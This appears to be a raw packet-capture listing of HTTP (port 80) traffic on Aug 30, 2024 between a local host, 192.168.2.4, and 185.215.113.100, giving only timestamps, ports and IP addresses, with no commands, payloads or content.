Aug 30, 2024 18:18:06.389082909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389127970 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.389177084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389187098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389195919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389204979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389214993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389223099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.389225006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389252901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.389276981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.389655113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389663935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389672995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389682055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389691114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389700890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389703989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.389712095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.389729023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.389751911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391021967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391031981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391041040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391050100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391060114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391068935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391069889 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391077995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391093016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391113997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391196966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391207933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391216040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391225100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391235113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391242027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391244888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391254902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391262054 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391263962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391273022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391279936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391283989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.391299963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.391318083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.392749071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392760038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392770052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392795086 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.392816067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.392884970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392894983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392904043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392914057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392923117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392931938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392935991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392946005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392946005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.392956018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392965078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392973900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392977953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.392983913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392992973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.392999887 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393004894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393018007 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393022060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393032074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393039942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393040895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393050909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393059969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393069029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393075943 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393079042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393089056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393094063 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393098116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393107891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393115997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393136024 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393151045 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393301964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393312931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393321991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393348932 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393377066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393452883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393462896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393471956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393481970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393491983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393501043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393501997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393527031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393543959 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393642902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393651962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393661976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393671036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393681049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.393690109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.393723965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.450938940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.450957060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.450969934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451023102 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451035976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451046944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451057911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451059103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451071024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451088905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451107025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451282978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451299906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451344013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451387882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451399088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451410055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451436043 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451450109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451517105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451565027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451595068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451607943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451616049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451627016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451637983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451643944 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451668024 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451678038 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.451961040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451972008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451982021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.451992035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452003956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452004910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452025890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452043056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452235937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452245951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452255964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452281952 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452292919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452356100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452370882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452380896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452389956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452399015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452402115 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452409029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452419996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452425003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452429056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452439070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452445984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452450991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.452470064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452506065 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.452991962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.453002930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.453012943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.453047991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.453066111 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.476223946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476351976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476362944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476399899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476409912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476413965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.476421118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476433039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476442099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.476460934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.476471901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.476665020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476675987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476686001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476696968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476749897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.476933956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476944923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476954937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476965904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.476978064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.476995945 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477018118 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477209091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477225065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477236032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477245092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477255106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477256060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477267027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477267981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477277994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477291107 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477310896 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477320910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477598906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477611065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477621078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477631092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477641106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477644920 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477652073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477663040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.477667093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477690935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.477713108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.478157043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478167057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478176117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478187084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478197098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478205919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478223085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478226900 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.478234053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478244066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478254080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478255033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.478265047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478274107 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.478292942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.478313923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.478907108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478923082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478931904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478940964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478951931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478961945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478970051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.478972912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478982925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478992939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.478992939 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479003906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479013920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479013920 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479023933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479034901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479036093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479044914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479053974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479074955 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479088068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479794979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479805946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479815006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479825974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479835987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479846954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479849100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479859114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479868889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479870081 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479880095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479891062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479891062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479899883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479909897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479912043 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479922056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.479942083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.479964972 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.548100948 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.552879095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790139914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790182114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790194035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790215969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790252924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790302038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790313005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790329933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790339947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790349960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790352106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790364981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790394068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790638924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790648937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790657997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790679932 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790690899 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790843964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790860891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790870905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790880919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790890932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790900946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790908098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790910959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790920973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790927887 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790930033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790942907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.790946960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790967941 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.790982962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.791434050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791445017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791484118 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.791543961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791554928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791564941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791575909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791593075 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.791630030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.791800976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791811943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791821003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791831017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791841030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791850090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791866064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.791867971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.791901112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.791922092 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.792279959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.792290926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.792301893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.792310953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.792320967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.792330027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.792330980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.792340040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.792350054 CEST	80	49730	185.215.113.100	192.168.2.4
